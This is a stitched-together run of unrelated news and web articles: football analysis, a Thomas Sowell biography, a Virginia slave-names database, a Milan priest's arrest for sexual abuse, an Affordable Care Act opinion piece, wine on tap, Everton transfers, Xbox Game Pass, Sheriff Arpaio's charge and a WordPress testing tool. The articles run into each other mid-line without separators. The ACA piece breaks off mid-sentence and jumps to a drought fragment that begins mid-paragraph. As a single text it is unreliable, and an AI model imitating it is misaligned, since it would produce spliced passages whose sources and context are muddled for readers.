While Graziano Pellè and Sadio Mané were confirming their returns to form at St Mary’s and Shane Long was his usual pesky self, Jay Rodriguez scored a hat-trick for Southampton’s U21s in a 5-0 victory over their Liverpool counterparts. Rodriguez has not played for the first team since injuring his foot in October but is expected to be available for action after the international break, when Leicester City travel to St Mary’s. Southampton’s forwards seem to be regaining their goal touch in time for a late push for a top four finish, and the league leaders will probably need to produce the best performance yet of their run-in if they are to extend their winning sequence. So far the feats of Claudio Ranieri’s team have distracted attention from the fact that Ronald Koeman continues to work shrewdly at Southampton. Paul Doyle
Facebook Twitter Pinterest Sadio Mané scores Southampton’s third goal to complete an electrifying comeback against Liverpool. Photograph: Tony O'Brien/Reuters
6) Elneny gives Coquelin an ally in midfield
To the statisticians the most notable element of Francis Coquelin’s performance at Goodison Park on Saturday was the fact he equalled a Premier League record by making 12 interceptions. In the context of a team, however, the most pertinent part was that he had a like-minded ally. Instead of being handed all the defensive duties in midfield, Coquelin had an energetic sidekick in the shape of the exuberant Mohamed Elneny. Together they made Arsenal look more solid and more streetwise. Everton possessed a physically powerful central midfield duo of their own in James McCarthy and Muhamed Besic but Arsenal dominated to such an extent that the Bosnian was removed and the shape changed at half-time. There could be a significance to their embryonic partnership. Coquelin and Elneny had started only one previous league game together, when Arsenal were leading 1-0 at White Hart Lane, until the Frenchman was sent off in what proved to be a 2-2 draw. If they can prove as effective again, it will reduce Arsenal’s reliance on both Coquelin and the injured Santi Cazorla. Since the start of last season Arsenal’s fortunes have depended on having the Frenchman and the Spaniard together. When they were paired, they took 64 points from 30 league games, an average of 2.13. Various other combinations of Coquelin, Cazorla, Mikel Arteta, Mathieu Flamini, Aaron Ramsey, Alex Oxlade-Chamberlain and Jack Wilshere yielded 62 from 36, an average of 1.72. One is title-winning form, the other the sort of record that tends to result in a team dropping out of the top four. Richard Jolly
7) West Ham look to tie down linchpin Lanzini
Dimitri Payet was at it again for West Ham United on Saturday, creating Andy Carroll’s goal with a lovely pass, deceiving the Chelsea defenders by looking one way and sending the ball in the opposite direction, an assist that came straight out of the Ronaldinho playbook. Yet his excellence should not obscure Manuel Lanzini’s contribution. For all the praise that has rightly been lavished on Payet, who steals headlines with isolated but defining moments of brilliance, Lanzini is the player who gives West Ham balance in midfield, linking the play with his shuffling running style, technical ability and ease on the ball. The scorer of a sumptuous opening goal at Stamford Bridge, a curling shot from 25 yards that gave Thibaut Courtois no chance, the little Argentinian has been one of the finds of the season and it is no surprise that West Ham intend to sign the on-loan midfielder on a permanent basis from Al Jazira. “I would be lying if I said that I was thinking when we got him that he would play like this, so consistent on a high level,” Slaven Bilic said. “On the other hand, he has got that potential. He was my target when I was at Besiktas. He was playing for River and, when a club like River Plate gives you the number eight when you are the age of 18, they give you that for a reason, that you can also take the responsibility and cope with the pressure. So he had it all the time. That’s why we got him, but he clicked straight away, which was also a surprise for me because he is a young lad, 22.” Jacob Steinberg
8) It is hard to say how but Swansea are safe
Swansea, by hook or by crook, have all but secured their Premier League status for another season. Quite how is something of a mystery, given they have been so uncharacteristically poor for so much of this troubled campaign. They looked doomed after losing at home to Sunderland in January but 17 points from the next 10 games has lifted them well clear of the drop zone. Yet much better results have not been a product of much better performances. Ashley Williams offered a brutally honest assessment of their season after Saturday’s 1-0 home win over Aston Villa, when Swansea were woeful. Williams, the Swansea captain, said that desperately poor display against the Premier League’s bottom club summed up their campaign, which he described as a “grind” and “not enjoyable”. Swansea, without question, need to make major changes in the summer to get back on track. Francesco Guidolin will surely depart and a new manager come in, but the first-team squad also needs a complete overhaul. A proven goalscorer should be a priority, with Bafetimbi Gomis certain to leave and Alberto Paloschi the only other frontline striker among their ranks, and just about every other department needs strengthening – in particular the attacking wide positions and at full-back. There was a feeling at the Liberty Stadium on Saturday night that Swansea have got away with it to an extent this season (it should be said that Alan Curtis deserves a huge pat on the back for his part in their survival), but some serious investment needs to go into the playing squad this summer or it will be another tough campaign for the Welsh club. Stuart James
Facebook Twitter Pinterest Federico Fernández’s goal earned Swansea a win that moved them 10 points clear of the relegation zone. Photograph: Nick Potts/PA
9) Norwich are united in battle against the drop
At 34 Alex Neil is young enough not to know everything, and old enough to understand as much. So the Norwich City manager showed the good grace and common sense to invite his players to have their say when they went away on a bonding trip recently and was gratified to hear his squad’s views were not so different from his own. The technical input has triggered slight tactical tweaks in how they defend – basically asking the far-sided full-back to tuck in alongside the centre-halves - but more important was the ownership that he shared with the players. “We had a discussion about our best style of play, how we go about things, certain games we need to adapt for,” he said after a victory at West Bromwich Albion built on a second clean sheet markedly increased their chances of staying up. “It’s to make them feel invested in it too. Success is going to be much more likely if you’ve got everybody buying into what you’re trying to do. That’s the important thing. We’ve got a group buying into what we do and we’re confident. I’ve got a clear vision about how I want us to play. If I’m being honest they didn’t disagree with anything so it made the meeting really easy. It’s just about trying to get the players involved in it, making sure they have a clear idea of what we’re doing.” There is a humility about Norwich, who responded to their last relegation with an immediate return to the Premier League, that serves them well as they enter the final run-in, even if their depth of quality is questionable. “That’s the one benefit we’ve got over other teams about us,” the Premier League’s youngest manager said. “Our players have never turned against each other. The squad has always been solid with one goal. We’ll take strength from that.” Peter Lansley
10) Watford need to evolve as upward mobility stalls
Putting Leicester to one side for a moment, Watford spent the first half of the season rivalling Crystal Palace as standard bearers for the lower order’s upwards mobility but their home defeat by Stoke brought up a statistic not a million miles from the miserable slump endured by Alan Pardew’s side. This was their third league defeat in a row, and they have won only twice in their last 13. There is little danger of being sucked into the relegation battle and there is, for the next few weeks, the pleasant distraction of an FA Cup semi-final clash of the movable objects against – yes – Palace. But you get the impression that Watford, all but seven of whose goals have come from the strikers Odion Ighalo and Troy Deeney, will need to evolve if they are to cement themselves as a top-flight mainstay. Ighalo has not scored in the league since 23 January and Deeney’s consolation on Saturday was only his third in that time. It is due to a mixture of wayward finishing – particularly in Ighalo’s case – and restricted supply lines but perhaps the pair are entitled to expect more movement around them. Watford’s midfield has looked rather flat and pragmatic of late, although José Jurado – who returned against Stoke – does add some threat between the lines. The prospect of a famous achievement at Wembley lies within reach but Quique Sánchez Flores could do worse than look at the variety instilled by Mark Hughes at Stoke when he and the Pozzo family work on their summer recruitment. Nick AmesThomas Sowell was born in North Carolina and grew up in Harlem. As with many others in his neighborhood, Thomas Sowell left home early and did not finish high school. The next few years were difficult ones, but eventually he joined the Marine Corps and became a photographer in the Korean War. After leaving the service, Thomas Sowell entered Harvard University, worked a part-time job as a photographer and studied the science that would become his passion and profession: economics.
After graduating magna cum laude from Harvard University (1958), Thomas Sowell went on to receive his master's in economics from Columbia University (1959) and a doctorate in economics from the University of Chicago (1968).
In the early '60s, Sowell held jobs as an economist with the Department of Labor and AT&T. But his real interest was in teaching and scholarship. In 1965, at Cornell University, Sowell began the first of many professorships. Thomas Sowell's other teaching assignments include Rutgers University, Amherst College, Brandeis University and the University of California at Los Angeles, where he taught in the early '70s and also from 1984 to 1989.
Thomas Sowell has published a large volume of writing. His dozen books, as well as numerous articles and essays, cover a wide range of topics, from classic economic theory to judicial activism, from civil rights to choosing the right college. Moreover, much of his writing is considered ground-breaking -- work that will outlive the great majority of scholarship done today.
Though Thomas Sowell had been a regular contributor to newspapers in the late '70s and early '80s, he did not begin his career as a newspaper columnist until 1984. George F. Will's writing, says Sowell, proved to him that someone could say something of substance in so short a space (750 words). And besides, writing for the general public enables him to address the heart of issues without the smoke and mirrors that so often accompany academic writing.
In 1990, he won the prestigious Francis Boyer Award, presented by The American Enterprise Institute.
Currently Thomas Sowell is a senior fellow at the Hoover Institute in Stanford, Calif.Story highlights The Virginia Historical Society finds 3,200 slaves named in private documents
The unpublished documents are from Virginians' attics, basements and desk drawers
"We sold all the negros 43 in number at astonishingly large prices," an 1858 letter says
One user of the society's free database of slaves finds the owner of his great-great-great-grandfather
A historical society in Virginia, where slavery began in the American colonies in 1619, has discovered the identities of 3,200 slaves from unpublished private documents, providing new information for today's descendants in a first-of-its-kind online database, society officials say.
Many of the slaves had been forgotten to the world until the Virginia Historical Society received a $100,000 grant to pore over some of its 8 million unpublished manuscripts -- letters, diaries, ledgers, books and farm documents from Virginians dating to the 1600s -- and began discovering the long-lost identities of the slaves, said society president and CEO Paul Levengood.
The private, nonprofit historical society, the fourth-oldest in the nation, is assembling a growing roster of slaves' names and other information, such as the slaves' occupations, locations and plantation owners' names, said Levengood.
The free, public website also provides a high-resolution copy of the antique documents that identify the slave.
The database, which went online last September with 1,500 names, sets itself apart from the few other existing slave databases -- which limit themselves to specific plantations or to ship manifests that list the captives by their native African names, society officials said.
The "Unknown No Longer: A Database of Virginia Slave Names" website is the first online resource listing slaves' names across all of slaveholding Virginia, the nation's oldest state which had the largest enslaved population, numbering a half million people, at the outbreak of the Civil War in 1861, society officials said.
"Most slaves were by their owners' design and eventually by law forbidden to learn how to read and write, so they didn't leave us material that so many figures in the past did," Levengood said. "That's when you have to be creative."
So using a $100,000 corporate grant from Dominion, one of the nation's largest producers and transporters of energy, society researchers began examining some of its 8 million manuscripts that Virginia residents have been giving to the historical society since its founding in 1831.
Those Virginia families found the old, handwritten papers in attics, basements or desk drawers, Levengood said. The society stores the documents in an archive spanning thousands of square feet, he said.
The antique papers turned out to mention slaves.
"Often they appeared in the records of the owners who owned slaves as human property, which to us sounds so obscene and alien," said Levengood, who's also a historian. "But these people were writing down their inventory as if you would for insurance purposes. That's the kind of things that owners did with slaves. This was the most valuable property they owned, and they wanted to make sure it was recorded.
"Often there was a human connection, and they grew up with these people, and they recorded their birth dates and deaths. It's an incredibly complicated and tragic institution that we're just beginning to understand the dimensions of," Levengood said.
Documents citing slaves go back to the 1690s: "That's when slavery starts to grow fast in Virginia and other English colonies," Levengood said.
"Sometimes it's a real detective work. You have to read between the lines: Oh, they mention Amy in a letter, and then you have to read another letter in the collection to realize that Amy is a slave and not a family member," Levengood said.
The society Saturday held the first of four community workshops on how to use the online database at the organization's headquarters in Richmond, Virginia. While the online website is intuitive on how to use, the workshops are being held for users who need more guidance, Levengood said.
Some 80 people came to Saturday's workshop, including Gale Carter, a high school history teacher who flew in from East Chicago, Indiana for the event.
Carter said the original documents digitized on the site will help her uncover more of her own family's history in Virginia, as well as help her students learn about the era.
"I'm going to use this not only personally, but professionally," she said. "This is terrific. It's a model and I hope the rest of the states catch up real quickly."
Amateur genealogist Crasty Johnson of Richmond said she hopes the sites will help her trace her roots back to the 1800s.
"I need to know my history," she said, adding the site may help her prove or disprove many of the things she's heard about her family's past. "I wanted to really know. I wanted to be able to see and connect the dots."
When the United States banned the importation of slaves after 1807, Virginia became the largest provider in the nation's internal slave trade, Levengood said. Slavery was eventually abolished at the conclusion of the Civil War in 1865.
That means many American families with slave ancestors could have roots in Virginia, Levengood said.
"Slavery in Virginia is not just a Virginia story. It reaches across all of the slave South," Levengood said. "So you may not know you have Virginia ancestors, but you could."
The database features a public message board, filled with notes posted by users searching for ancestors who may have been slaves. The advanced search fields include the slave's first name or last name; gender; occupation; owner's last name; date range; and record type.
One user named "Treebranch02" wrote last September: "Well, I think I found the slave owner that owned my great, great, great grandfather but that is as far as I got. Nothing on my great grandfather and great grandmother who lived in Manquin, VA. This was good for me, however. Got me excited. Wonderful site."
Elsewhere in the database is a stark description of the sale of slaves and goods in a February 11, 1858, typed letter from slaveholder William Daniel Cabell of "Benvenue" in Nelson County, Virginia, to his wife, Elizabeth Nicholas Cabell.
"The corn we sold yesterday brought 3.15$ per barrel. We sold all the negros 43 in number at astonishingly large prices -- the whole amounting to $32016. Nearly every one of the negros were satisfied as they were bought by people in the country mostly, going ahead of the prices given by the traders," Cabell wrote his wife.
The letter continued: "Jane and three children brought $2795. and Mimy and three children $2505. My father gave $25. to Mr. Agee and then allowed Mr. Turner to take Mimy as he owned her husband. Old Mr. S. Turner bought Jane and children. Jane's husband exclaimed just as she was knocked out to his master "Glory to God on high, peace and good will to men on earth" and it seemed to pop from his very soul. Betsy brought $1400. and was bought for Miss Perking of Buckingham."
Robert Payne, who attended Saturday's workshop, said he's been researching his family for the past 15 years, but finding information about his ancestors wasn't easy. He's hoping his 12 grandchildren can benefit from his work.
"Researching black folk is difficult, so anytime you can find a new resource it's always good to investigate," he said. "It's a database for the ones that are coming up. They'll be able to take it and grow from that."San Vittore Prison Chaplain Arrested for Sexual Violence and Abuse of Authority
Six non-Italian prisoners alleged abuse. Investigators filmed extortion of sexual favours. Diocese’s dismay
MILAN – The chaplain of Milan’s San Vittore prison, 51-year-old Fr Alberto Barin, has been arrested for sustained sexual assault with multiple aggravations and for abuse of authority. Six non-Italian prisoners have accused him of demanding sexual acts in exchange for favours ranging from items of food to living conditions in the prison. Officers investigating the allegations were able to document the incidents by placing a videocamera in the chaplain’s office in the prison.
SINCE 2008 – The chaplain forced inmates to satisfy his sexual demands in exchange for items such as cigarettes and toothpaste, also promising to put in a good word for their release. One of the aggravating circumstances alleged is abuse of authority. The first report was filed last summer by a prisoner of African origin. Charges concern incidents over a period of six years from 2008 to 2012. Fr Alberto Barin has been serving at San Vittore since 1997.
“APPALLING AFFAIR” – Milan-based assistant public prosecutor Pietro Forno, who coordinates the sex crime team, said: “It’s an appalling affair. We moved with extreme caution when we received the first complaint from a young African facing charges involving offences against property. He had been the victim of assault by another prisoner and said in his statement that it wasn’t the first time”.
CHAPLAIN’S OFFICE – Exchanges of sexual favours for goods or favours at San Vittore took place both in the chaplain’s office at the prison and in the priest’s quarters, which is accessed from outside the prison structure itself. Fr Alberto also spoke up for the release of prisoners who “were nice” to him. One of the chaplain’s victims refused to comply with his requests. He subsequently stopped being invited to the priest’s office and no longer received the little favours that were handed out to other inmates. The detention order was signed by the investigating magistrate, Enrico Manzi. Currently, Fr Alberto Barin is being held in Bollate prison, where he will be interviewed in the next few days.
OTHER VICTIMS – Investigators are seeking to find out whether any other inmates, apart from the six already identified, may have been the victims of abuse by the priest. Officers believe that the priest always used the same strategy, playing on the needs of prison inmates. Inquiries have revealed that when one of the six prisoners was released at the end of his sentence, he was apparently summoned to the priest’s residence and forced to endure further abuse. Investigators also placed a videocamera in the chaplain’s quarters to record episodes of violence.
DIOCESE – Milan’s diocesan authorities issued a statement to “express dismay and grief at the arrest of Fr Alberto Barin and at the charges that have been brought against the prison chaplain. The diocese herewith affirms its confidence in investigators and its willingness to collaborate with their inquiries”.
PRISON OFFICERS – “The presumption of innocence holds true for everyone. The arrest of Fr Alberto Barin on charges of sexual violence and abuse of authority is dreadful news. We are shocked because in his 17 years of spiritual care at San Vittore, there have been no reports relevant to the very serious charges made against him”. The statement was made by Donato Capece, secretary of SAPP, the autonomous union of prison officers.
English translation by Giles Watson
www.watson.itAs the week began, another "Obamacare" horror story hit the press, instigating a fleet of outrage-pornographers and concern trolls across the political spectrum to continue self-flagellating and screeching about the disastrous Affordable Care Act -- selectively forgetting about actual healthcare horror stories that existed before the law was implemented. It was a story focusing on yet another vague, anecdotal tale about a hapless ACA victim whose insurance policy was canceled, thus vindicating the accusation that the president lied about "keeping your existing insurance policy if you like it."
Before we dive into the lie accusation, let's take a closer look at an op/ed for the Wall Street Journal written by a stage-4 gallbladder cancer survivor, Edie Littlefield Sundby.
Sundby wrote that she received a letter from UnitedHealthcare announcing the cancellation of her insurance policy. She was advised to seek a different plan from the ACA exchange in California, known as Cover California. However, she claimed that there aren't any insurance plans in the exchange that are accepted by both her primary care doctors at University of California San Diego, and her oncologists at and Stanford, thus forcing her to choose one or the other.
But here's the thing: Sundby wasn't shoved into this predicament because the ACA law forced her insurance provider out of the ballgame. UnitedHealthcare, one of the most notorious insurance providers before the ACA was passed, responsible for canceling policies and penalizing customers, decided to voluntarily bail out of the individual insurance game as a matter of corporate strategy. In doing so, it could avoid taking on less healthy customers early in the exchange sign-up process, forcing other insurers to absorb the risk. Clever. And sinister.
UnitedHealthcare Chief Executive Officer Stephen Helmsley said, "The company's plans reflect its concern that the first wave of newly insured customers under the law may be the costliest." He continued, "UnitedHealth will watch and see how the exchanges evolve and expects the first enrollees will have 'a pent-up appetite' for medical care. We are approaching them with some degree of caution because of that." A pent-up appetite -- you know, to not go broke while attempting to not die.
As you probably recall from the days before the ACA was passed, scores of customers were stripped of their insurance policies, many while suffering from life-threatening illnesses. The difference back then was once they'd lose their insurance, they were unable to qualify for a new policy due to rules against pre-existing conditions. That's thankfully not the case with Sundby -- not after the passage of the ACA, not any more. While she might be forced to switch emergency care facilities or to a new team of oncologists, she will absolutely be able to sign up for a new policy with better benefits thanks to the ACA. Conversely, four years ago, when UnitedHealthcare and others were pulling these exact same kinds of profit-making stunts, she would've faced bankruptcy or death or both, unable to sign up for a replacement policy.
These are details not mentioned in context of the "Obama lied" story.
Indeed, going back to 2009, the president continuously reassured individual policy holders that if they liked their current insurance, they could keep it. On Monday's edition of Morning Joe, they aired a series of clips of the president saying in various forms, "If you like your plan you can keep it." This promise hasn't actually panned out exactly as originally conceived, forcing Mika Brzezinski to literally smack herself in the face with a stack of paper. Brzezinski continued by shouting at panelist Chris Matthews, "Why would you let your president go out and say that?!" During the ensuing melee, Scarborough held up Sundby's WSJ op/ed, "There's this story in the Wall Street Journal about a lady with stage-4 cancer that's been kicked off her plan!"
Once again, no. The ACA didn't force Sundby off her plan. UnitedHealthcare's profit margin was the culprit here. But regarding this alleged lie, the president was actually correct given the language of the law.
The Affordable Care Act, as signed by the president in 2010, states quite clearly that if your individual health insurance plan was in effect prior to March 23, 2010, your plan would be grandfathered as-is, despite new rules that expand mandatory benefits and ban practices such as lifetime limits. In other words, if you signed up for an insurance policy before March of 2010, and if you like that policy, you could ostensibly keep it. It's in the law.
However, an implementation rule was added later by Health & Human Services which narrowed the grandfathering parameters. If the benefits of a policy were altered after that date, those policies would lose grandfathered status. Meanwhile, HHS determined that up to 67 percent of customers would lose their plans, but only as a reflection of normal trends in the system -- not as the result of a sudden drop off due to the ACA.
So when the president said, "If you like your insurance you can keep it," he meant that the law itself wouldn't force you to call up your insurance provider and cancel your policy if you liked it. Nor was he suggesting that an insurance company would be compelled by the law to keep you as a customer for life, irrespective of circumstances. While the law in fact prohibits the cancellation of a plan if you're suddenly sick or injured, or if you make a mistake on your application -- two common occurrences before the ACA -- you can still lose your plan if you fail to pay your premium or if you lie on your paperwork.
Here's the kicker. The law absolutely prohibits arbitrary cancellations -- except for grandfathered plans like Sundby's UnitedHealthcare plan. Frankly, switching to a Cover California plan might be the best thing for Sundby because her grandfathered plan likely included lifetime and annual limits on coverage ( |
while Nestle has not budged save for a few new water conservation measures.
In an April interview, though, Peter Gleick, head of the water think tank Pacific Institute, said that fracking and bottled water are irrelevant in terms of the drought. "The amount of water used is tiny compared to agriculture and urban water use,” he said. “We’re not going to solve the drought problem by eliminating bottled water or fracking in California.” (He did go on to say, however, that both deserve legitimate criticism for their impact on the environment.)
It's impossible for either side to talk about the drought without discussing climate change, which will place the biggest strain on California’s water in the coming century. Atmospheric scientist Katharine Hayhoe explained: “In a warmer world, more water evaporates from our reservoirs and lakes—and our soils—making droughts stronger than they would be otherwise. In the case of California, we also know that record heat exacerbated this effect, leading to more drying than would have occurred otherwise.” According to Kevin Trenberth, a scientist at the National Center for Atmospheric Research and co-author of a recent study on extreme weather and climate change, the extra heat from global warming has to go somewhere, so it dries things out and increases the risk of wildfires and heat waves. “It means the consequences of a drought are worse,” he said. “And it can become more widespread and last longer.”A Cabernet, Ma'am? Will That Be Bottle, Or Tap?
Enlarge this image toggle caption Cyrus Musiker Cyrus Musiker
At Out the Door, a mini-chain of Asian fusion restaurants in San Francisco, wine director Gus Vahlkamp serves plenty of wine by the bottle. But he also sells four wines drawn from taps behind the bar.
That's right: wine served from taps. Just like beer. And Vahlkamp says he has sound ecological and financial reasons for the setup.
"It's better to reuse than recycle," he says. "Our recycling has been reduced by at least half."
Plus, it's cost-effective: "The producers aren't adding on the cost of the bottle, the cork, the carton and the transportation it comes in," Vahlkamp says. "I'm able to buy these wines at 25 percent off the wholesale bottle cost, and I can offer the consumer a discount and still make money. Everyone wins on it."
There's another benefit: The wine always tastes fresh. Restaurants often pour their by-the-glass selections from bottles that sit for days, until the contents inside have staled. Tap systems, by contrast, use an inert gas like argon or nitrogen to push the wine through the lines. Being inert, the gas doesn't react with the wine; in fact, it protects the wine for weeks or months against oxidation. (Wineries blanket their wines with the same gases for the same reason during the tank-storage phase of the production process.)
Out the Door is one of a growing number of restaurants and wine bars -- mainly in the San Francisco Bay Area -- serving wine on tap. It's a return to traditions from Europe and America just after Prohibition, when wineries often supplied restaurants with wooden casks instead of bottles. Beer giant Anheuser Busch tried and failed to make keg wine popular again in the '80s, but consumers didn't embrace the idea. (And maybe the wine wasn't very good either.)
"What's funny about keg wine is, it's an old idea made new again," says Matt Licklider, co-owner of Santa Rosa's Lioco Winery, one of Out the Door's suppliers.
Enlarge this image toggle caption Cyrus Musiker Cyrus Musiker
"My partners and I loved this idea that there was no ceremony about wine in Europe," Licklider says. "You can take an empty jug to lots of regional co-ops in France and fill it up for pennies an ounce. So even when we wrote the business plan, we had always talked about alternative packaging."
Lioco crafts lightly oaked chardonnays and pinot noirs to sell in bottles and by the keg. It shares space with NPA, the Natural Process Alliance, a winery that takes the eco-concept up another notch. NPA sells its wines only in kegs and 3/4-liter steel canteens.
"A lot of people talk about the romantic sound of pulling a cork," jokes NPA's Hardy Wallace as he clanks some canteens together, "but what's more romantic than steel on steel, baby?"
NPA buys mostly organic grapes, and because its wines are made with native yeasts and minimal handling, they're meant to be drunk young and don't travel well. So NPA only sells its wine within a 100-mile radius. Wallace makes the deliveries, like a dairy man from America's past.
"Every week I load up milk crates of wine, and I pick up the empties and take them back to be sterilized," he says. "The real thing here is to keep the philosophy of our winemaking and farming going in our packaging and delivery. And the goal is to have zero waste."
Other wineries are entering the keg wine market at least partly because the industry is coming out of a historic recession. Michael Ouelette, a former restaurateur, is building a keg wine empire, marketing batches from some of Napa's top estates.
"There's a surplus of quality inventory," Ouelette says, "and because of that, wineries are opening their marketing strategy to other formats. But once they start and see how smart and green it is, they're embracing the concept."
Still, wine on tap remains a niche market, too small to measure, according to industry analyst Jon Fredrikson. One limitation is the hassle factor: The kegs have to be cleaned and filled by hand. The day I talked to him, Out the Door's Gus Vahlkamp had just made a keg run to three wineries that left him grubby and exhausted.
"Calling all engineers," says Lioco's Matt Licklider. "We need a keg wine summit to work out all the complexities."
And yet tap wine is catching on in other parts of the country. A New York Finger Lakes winery is kegging up wine for the New York City market. And the largest keg program in the country is at the restaurant Two Urban Licks in Atlanta.Get the biggest Everton FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
It wasn’t quite as blunt as stating money will no longer be an issue, but the message was as loud as one of Kevin Mirallas’s suits.
“If there is a player who wants to play for Everton Football Club who Ronald wants, who Steve wants, we will get them for you. It’s fantastic for me to be able to say that.”
Speaking, of course, was chairman Bill Kenwright, with the two people in question Blues boss Ronald Koeman and director of football Steve Walsh.
That cash is seemingly not the primary obstacle for the Blues is a result of the backing of Farhad Moshiri, whose feet are now firmly under the table at Goodison having become majority shareholder more than a year ago.
Persuading potential targets will be another matter, but it’s clear Everton are preparing to make a significant splash this summer after dipping their toe in the water during the last two transfer windows.
But where should Koeman and his recruitment team be looking? And for how much?
Goalkeeper
For many, Joel Robles and Maarten Stekelenburg were expected to be vying for the understudy role to Everton’s number one this season.
Instead, they’ve found themselves being rotated between the sticks.
Both have had their good and bad days, and while they are more than capable of doing a job, whether they should be relied upon week after week is very much up for debate.
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The market is there, Manchester City’s Joe Hart and Sunderland shot-stopper Jordan Pickford among several keepers regularly linked.
£20million seems a reasonable assumption for a goalkeeper of the quality Everton desire.
Right-back
Seamus Coleman’s consistency and reliability meant right-back pretty much looked after itself – until the Irishman’s sickening double leg break that’s likely to sideline him for the rest of the year.
To be fair, Everton have known for some time strength in depth has been needed in the position, as witnessed by their failed attempt to sign Sam Byram last year.
Young duo Mason Holgate and Jonjoe Kenny can deputise in the role.
But if Koeman can snap up established cover for no more than £8m – and Cuco Martina, a target last summer, will be available for nothing from Southampton at the end of the season – it would be good business both for the immediate and long-term future.
Left-back
Similar to the other full-back role, the reassuring presence of Leighton Baines has meant the Blues have been comfortable in this position.
However, from having a surfeit of left-backs, Everton are now looking a little shy.
Bryan Oviedo has gone, Luke Garbutt appears not to have a future under Koeman while Brendan Galloway’s career has stalled dramatically during the last 12 months.
It’s not a priority. But, as rumoured interest in Schalke left-back and imminent free agent Sead Kolasinac would indicate, the Blues are still mindful of snapping up a bargain.
Centre-back
It appears every team towards the top of the Premier League is intent on bolstering their central defensive options this summer.
And despite being well blessed in terms of numbers, it’s clear Koeman knows Everton must improve in this area.
His admiration of Burnley’s Michael Keane is on the record, but it’s a move for Dutch compatriot Virgil van Dijk, with whom he worked at Southampton, that most excites.
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Other names have been linked, but those are the two stand-outs.
And if Koeman acquires his main targets, then £50m would be a conservative estimate.
Attacking midfielder
“Our second top scorer is Kevin or Ross on four or five goals, we have nobody from midfield scoring 10 goals,” said Koeman last week. “We need more players scoring goals other than strikers.”
No prizes, then, for guessing an attacking midfielder is right up at the top of the list of priorities for the Blues’ recruitment team.
There is, however, a premium on such players. Not least because there is such a demand.
(Image: PATRIK STOLLARZ/AFP/Getty Images)
A new contract for Mirallas will at least ensure strength in depth is maintained with Europe back on the calendar.
Davy Klaassen of Ajax and Gylfi Sigurdsson of Swansea City are among several names touted. And for the requisite standard, we’re talking anywhere between £25m and £40m.
Strikers
That’s strikers plural. Imagine, for a second, if Romelu Lukaku had been sidelined for any length of time this season.
In some ways, the Blues have been fortunate the Belgian has proven quite so durable.
Enner Valencia has impressed in patches, but he’s going back to West Ham United regardless after his loan spell expires.
(Image: JORGE GUERRERO/AFP/Getty Images)
Koeman most likely needs two forwards, with at least one possessing pace and experience.
That’d set the Blues back at least £20m, even if interest in Malaga’s Sandro Ramirez – available for £5m – is firmed up.
And if Lukaku does leave for megabucks, then who knows how much Everton could spend on building a new forward line?With September just around the corner, a new wave of titles is already being ushered into the Xbox Game Pass service. Among these is the newly-released ReCore: Definitive Edition – a reworked version of the action-based platformer first launched back in 2016. It now appears the game still retains the full feature set of the Play Anywhere program through the service, including cross-platform licensing with Windows 10 PCs.
Earlier this year, Microsoft unveiled Xbox Game Pass – a Netflix-style subscription service for distributing titles on Xbox One. For a flat monthly fee of $9.99, the service provides access to over 100 titles for no additional cost, with at least five new games added at the start of each calendar month.
With an active Xbox Game Pass subscription, the ReCore: Definitive Edition store listing now allows users to download the Windows 10 version of the game for free. Through Play Anywhere, the title also shares cross-platform saves and achievements with Xbox One, over a Microsoft account. Those who wish to purchase the game permanently can do so, alongside a discount provided for subscribers of the service,
This isn't the first time Windows 10 titles have been associated with Xbox Game Pass. Back when the service launched, small print made mention of availability of Windows 10, before being swiftly removed. While there's no indication of a dedicated PC offshoot of the service anytime soon, there's nothing stopping more Play Anywhere titles joining the Xbox Game Pass library going forward.
For those looking to play ReCore: Definitive Edition, the game is already available via Xbox Game Pass, a standalone purchase, or as an update for existing ReCore owners. Building upon the base game, the re-release adds a new "T8-NK" corebot, new missions and a slew of technical improvements.PHOENIX -- The longtime sheriff of metropolitan Phoenix was formally charged Tuesday with criminal contempt-of-court for ignoring a judge’s order in a racial-profiling case -- The longtime sheriff of metropolitan Phoenix was formally charged Tuesday with criminal contempt-of-court for
Prosecutors promised two weeks ago that they would prosecute Sheriff Joe Arpaio.
But the misdemeanor count wasn’t officially filed against the 84-year-old lawman until U.S. District Judge Susan Bolton signed it.
Arpaio, who is up for re-election Nov. 8 seeking his seventh term, could face up to six months in jail if convicted. A misdemeanor conviction would not bar Arpaio from serving as sheriff.
The criminal charges stem from the profiling case that Arpaio lost three years ago that morphed into a contempt case after the sheriff was accused of defying a 2011 court order to stop his signature immigration patrols.
Arpaio has acknowledged violating U.S. District Judge Murray Snow’s order, but insists his disobedience was not intentional.
Snow disagreed, concluding Arpaio knowingly continued the patrols because he believed his immigration enforcement efforts would help his 2012 re-election campaign.
The sheriff’s office deferred comment to Arpaio lawyer Mel McDonald, who did not immediately return requests for comment.
Arpaio ran a TV political ad last week saying the Obama administration’s Justice Department planned to prosecute him because of its opposition to his immigration enforcement efforts.
County taxpayers have spent $48 million so far to defend Arpaio and his office in the profiling case. The cost is expected to reach $72 million by next summer.
The contempt violation led the judge to order the creation of a taxpayer-funded system for compensating Latinos who were illegally detained when Arpaio ignored the order.
Maricopa County officials have set aside $1 million for funding the system.While we feature a lot of prop weapons from popular games like Battlefield 1, vehicles are a rarer sight. But today we’ve dug one up in the form of the Mark V landship.
While substantially smaller than a real tank (measuring in at just 16 x 7,5 x 5,5 centimetres) this isn’t going to be an easy print. The files for the project are split into dozens of smaller parts and making your own Mark V will be closer to assembling a model kit.
Those files can be found for free over on Thingiverse.
The print shown off with the files is a real treat too. Not only has it been painted to closely resemble the tank as seen in Battlefield 1, but it’s also got some great weathering too.I’m pleased to announce WordHat. WordHat is an integration layer between Behat, Mink, and WordPress, providing WordPress-specific functionality for common testing scenarios specific to WordPress sites.
Behat is a behaviour-driven development framework for PHP, but it can also be used for automated, in-browser testing. This article on ThinkShout’s site gives a good introduction to Behat and Mink:
Behat tests are written in plain English phrases which are then combined into human-readable scenarios. This was inspired by Ruby’s Cucumber project and Gherkin syntax. This is probably the most appealing aspect of Behat. Most tests are understandable by anyone, whether you’re a developer, project manager, or business owner. Behat is the core framework used for running tests. It is capable of testing several types of systems: terminal commands, REST APIs, etc. To enable Behat to test web pages, you need to add Mink and a browser emulator to the mix. Mink functions as the connector between Behat and browser emulators, and provides a consistent testing API. So when you hear people talking about Behat, they’re usually talking about all three components: Behat, Mink, and browser emulators.
WordHat aims to be the go-to solution for developers and site owners wishing to run browser testing against their WordPress sites, and for those practicing behaviour-driven development. It’s ready today in an alpha state for early adopters, and many opportunities exist to help shape it grow.
